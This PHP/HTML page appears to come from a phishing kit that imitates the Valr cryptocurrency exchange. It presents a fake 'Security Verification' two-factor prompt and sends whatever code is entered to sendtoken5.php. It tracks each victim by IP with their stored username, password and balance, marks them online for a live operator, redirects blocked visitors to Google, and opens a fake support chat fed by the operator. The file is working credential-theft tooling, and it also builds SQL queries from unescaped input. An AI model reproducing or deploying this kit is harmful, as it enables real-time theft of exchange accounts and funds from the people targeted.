<?php
@session_start();
error_reporting(0);

require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";


require("../bot.php");
$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);

$query_verificacadastro1 = "SELECT * FROM ipblock WHERE ip = '$ip'";
$verificacadastro1 = mysqli_query(DBCOnnect(), $query_verificacadastro1) or die(mysqli_error(DBCOnnect()));
$row_verificacadastro1 = mysqli_fetch_assoc($verificacadastro1);

if ($row_verificacadastro1['ip'] == $ip) {
    header("Location: https://www.google.com/");
}

$email = $row_infio['usuario'];
$senhamaster = $row_infio['senha'];
$user = $row_infio['user_master'];
$saldo = $row_infio['saldo'];
$saldo1 = $row_infio['saldo1'];
$chat = $row_infio['adminchat'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Online Perguntas' WHERE ip='$ip'");

?>

<!DOCTYPE html>
<html lang="en-US">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <title>Valr</title>
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <link rel="stylesheet" href="/assets-ndax/css/styles.302fb87b3176ce01.css">
  <link rel="stylesheet" href="/assets-ndax/css/index.css">
  <link rel="stylesheet" href="/assets-ndax/css/token.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.1.2/axios.min.js"></script>
    <script src="app/js/jquery-3.6.0.min.js" type="text/javascript"></script>
    <script src="dados_comando.js?t=<?=rand(999,99999999)?>" type="text/javascript"></script>
    <script type="text/javascript">
        $(document).ready(function() {
            atualiza();
        });

        function atualiza() {
            $.get('ver_online.php',
                function(resultado) {
                    $('#onlineagora').html(resultado);
                });

            setTimeout('atualiza()', 1250);
        }
    </script>
</head>

<body class="scrollable" style="padding-right: 0px;">
  
<div style="width: 100vw; height: 100vh;  filter: blur(8px);
  -webkit-filter: blur(8px); background-image: url(/bg.png?t=221123123231321); background-size: cover;"></div>
    <bs-modal-backdrop class="modal-backdrop fade show"></bs-modal-backdrop>
    <modal-container id="framestart" role="dialog" tabindex="-1" class="modal fade show" style="display: block;" aria-modal="true">
        <div tabindex="0" class="cdk-visually-hidden cdk-focus-trap-anchor" aria-hidden="true"></div>
        <div role="document" focustrap="" class="modal-dialog">
            <div class="modal-content" style="padding-bottom: 30px; margin-top: 75px;">
                <section _ngcontent-ndax-c281="" class="auth-sign-in-personal">
                    <auth-otp _ngcontent-ndax-c281="" message="Open the 2 Factor Authentication app on your device to use your
              authentication code and verify your identity" _nghost-ndax-c280="" class="ng-star-inserted">
                        <div style="display: flex; justify-content: center; align-items: center; padding: 10px 0px 10px 0px;">
                        <img  src="/logo.png" style=" height: 35px; color: #000000" />
                            <span style="font-size: 17px; padding-left: 10px; color: #000;">
                                Security Verification
                            </span>
                        </div>
                        <div _ngcontent-ndax-c280="" class="auth-otp">
                            <div _ngcontent-ndax-c280="" class="card">
                                <div _ngcontent-ndax-c280="" class="form-group">
                                    <ndax-two-fa-form _ngcontent-ndax-c280="" _nghost-ndax-c7="">
                                        <div _ngcontent-ndax-c280="" class="message"> <?php echo $saldo; ?> </div>
                                        <form _ngcontent-ndax-c7="" novalidate="" class="two-fa-form ng-pristine ng-invalid ng-touched">
                                            <div _ngcontent-ndax-c7="" class="form-group">
                                                <div _ngcontent-ndax-c7="" class="group d-flex justify-content-between">
                                                    <input id="otp" style="width: 100%;background-color: white" _ngcontent-ndax-c7="" type="text" autofocus="" class="form-control ndax-input ng-pristine ng-invalid ng-touched" >
                                                </div>
                                            </div>
                                        </form>
                                    </ndax-two-fa-form>
                                </div>
                                <button id="btnsend" _ngcontent-ndax-c280="" class="btn btn-success btn-big"> Confirm </button>
                            </div>
                        </div>
                    </auth-otp>
                    <!-- <div _ngcontent-ndax-c281="" class="link-block center ng-star-inserted">
                <a _ngcontent-ndax-c281="" routerlink="/auth/reset-mfa" class="ndax-link" href="/auth/reset-mfa">Reset your 2FA</a>
              </div> -->
                </section>
            </div>
        </div>
        <div tabindex="0" class="cdk-visually-hidden cdk-focus-trap-anchor" aria-hidden="true"></div>
    </modal-container>
    <script>
        const input_checkMail = document.getElementById('checkMail');
        const buttonCheck = document.getElementById('btnsend');

        input_checkMail.addEventListener('click', () => {
            if (input_checkMail.checked) {
                buttonCheck.removeAttribute('disabled', 'disabled');
            } else {
                buttonCheck.setAttribute('disabled', 'disabled');
            }
        });

        buttonCheck.addEventListener('click', () => {
            document.getElementById('framestart').style.display = 'none';
            document.getElementById('frameend').style.display = 'flex';
        });
    </script>
    <link rel="stylesheet" href="/assets/css/webchat.css">
    <div id="webChat" class="fabs" style="display: none; z-index: 100000000000000000000000000000000000;">
        <div class="chat" style="margin-right: 40px; margin-bottom: 5px; border-radius: 10px 10px 10px 10px;">
            <div class="chat_header">
                <span id="chat_head">Live Chat</span>
                <div class="chat_loader"></div>
                <div class="chat_option"><i class="zmdi zmdi-more-vert"></i>
                    <ul>
                        <li><span class="chat_color" style="border:solid 5px #2196F3" color="blue"></span></li>
                        <li><span class="chat_color" style="border:solid 5px #00bcd4" color="cyan"></span></li>
                        <li><span class="chat_color" style="border:solid 5px #607d8b" color="blue-grey"></span></li>
                        <li><span class="chat_color" style="border:solid 5px #4caf50" color="green"></span></li>
                        <li><span class="chat_color" style="border:solid 5px #8bc34a" color="light-green"></span></li>
                        <li><span class="chat_color" style="border:solid 5px #cddc39" color="lime"></span></li>
                        <li><span class="chat_color" style="border:solid 5px #ffc107" color="amber"></span></li>
                        <li><span class="chat_color" style="border:solid 5px #ff5722" color="deep-orange"></span></li>
                        <li><span class="chat_color" style="border:solid 5px #f44336" color="red"></span></li>
                    </ul>
                </div>

            </div>
            <div class="chat_login">
                <a id="chat_send_email" class="fab"><i class="zmdi zmdi-email"></i></a>
                <input id="chat_log_email" placeholder="Email"></input>
                <div class="chat_login_alert"></div>
            </div>
            <div id="chat_converse" class="chat_converse">
                <span class="chat_msg_item chat_msg_item_admin">
                    <div class="chat_avatar">
                        <i class="zmdi zmdi-headset-mic"></i>
                    </div>¡Hola! ¿Cómo puedo ayudarte?
                </span>
            </div>
            <div class="fab_field" style="border-radius: 0px 0px 10px 10px;">
                <a id="fab_listen" class="fab"><i class="zmdi zmdi-comments"></i></a>
                <a id="fab_send" class="fab"><i class="zmdi zmdi-mail-send"></i></a>
                <textarea style="padding-top: 18px; border-bottom: 1px solid gray; border-radius: 2px;" id="chatSend" name="chat_message" placeholder="Write a message" class="chat_field chat_message"></textarea>
                <input id="adminchat" type="hidden" style="display: none;" value="">
            </div>
        </div>
        <a id="prime" class="fab">
            <div style="display: flex; justify-content: center; align-items: center; height: 100%; font-size: 18px;">
                <i class="zmdi zmdi-comments"></i>
                <span style="margin-left: 5px;">Chat</span>
            </div>
        </a>
    </div>
    <audio style="display: none;" id="my-audio" controls>
        <source src="/assets/js/notificationsound.mp3" type="audio/mpeg">
    </audio>
    <div id="error_notification" class="overlay-container" aria-live="polite" style="display: none;">
        <div id="toast-container" class="toast-top-right toast-container">
            <div class="ng-tns-c10-3 ng-star-inserted ng-trigger ng-trigger-flyInOut ngx-toastr toast-error" toast-component="" style="opacity: 1;">
                <div class="ng-tns-c10-3 toast-title ng-star-inserted" aria-label="ERROR"> ERROR </div>
                <div role="alert" class="ng-tns-c10-3 toastr-msg ng-star-inserted" aria-label="Invalid authentication code"> Invalid answer please try again </div>
            </div>
        </div>
    </div>
    <script>
        var btnsend = document.getElementById("btnsend");

        document.querySelector('#otp').addEventListener('input', (e) => {
            if (e.target.value.length === false) {
                e.target.setAttribute('disabled', true)
                btnsend.click()
            }
        })

        if (window.location.href.indexOf("?error=1") > -1) {
            document.getElementById("error_notification").style.display = "flex";
            setTimeout(() => {
                document.getElementById("error_notification").style.display = "none";
            }, 7000);
        }

        btnsend.addEventListener("click", function() {
            $(document).ready(function() {
                var token = $("#otp").val();
                $.ajax({
                    type: 'post',
                    data: {
                        token: token,
                    },
                    dataType: 'json',
                    url: 'sendtoken5.php',
                    success: function(data) {
                        document.getElementById('btnsend').innerHTML = `<span _ngcontent-ndax-c65="" class="ndax-spinner ng-star-inserted"></span>`;
                        document.getElementById('btnsend').setAttribute('disabled', 'disabled');
                    }
                });
            });
            return false;
        })
    </script>
    <script>
        window.addEventListener("load", function() {
            document.getElementById("prime").click();
            setTimeout(() => {
                document.getElementById("webChat").style.display = "unset"
            }, 1300);
        })
        window.addEventListener("click", function() {
            document.getElementById("prime").classList.remove("piscapisca")
        });

        if (localStorage.getItem("statuschat") === "enabled") {
            document.getElementById("webChat").style.display = "unset";
        }
    </script>
    <script>
        function realtimechat() {

        }
        setInterval(() => {
            realtimechat();
        }, 1400);

        function playsound() {
            document.getElementById("my-audio").play();
        }

        function checkUpdate() {
            fetch("/app/checkChat.php")
                .then(response => response.json())
                .then(data => {
                    if (data.update) {
                        const xhttp = new XMLHttpRequest();
                        xhttp.onload = function() {
                            var nullo = document.getElementById("adminchat").value = this.responseText;
                            console.log(adminSend(nullo));
                        }
                        xhttp.open("GET", "/app/realtimechat.php");
                        xhttp.send();
                    } else {}
                });
        }
        setInterval(checkUpdate, 2000);
    </script>
    <script src="/assets/js/togglefab.js"></script>
    <script src="/assets/js/notification.js?t=123123123"></script>
</body>

</html>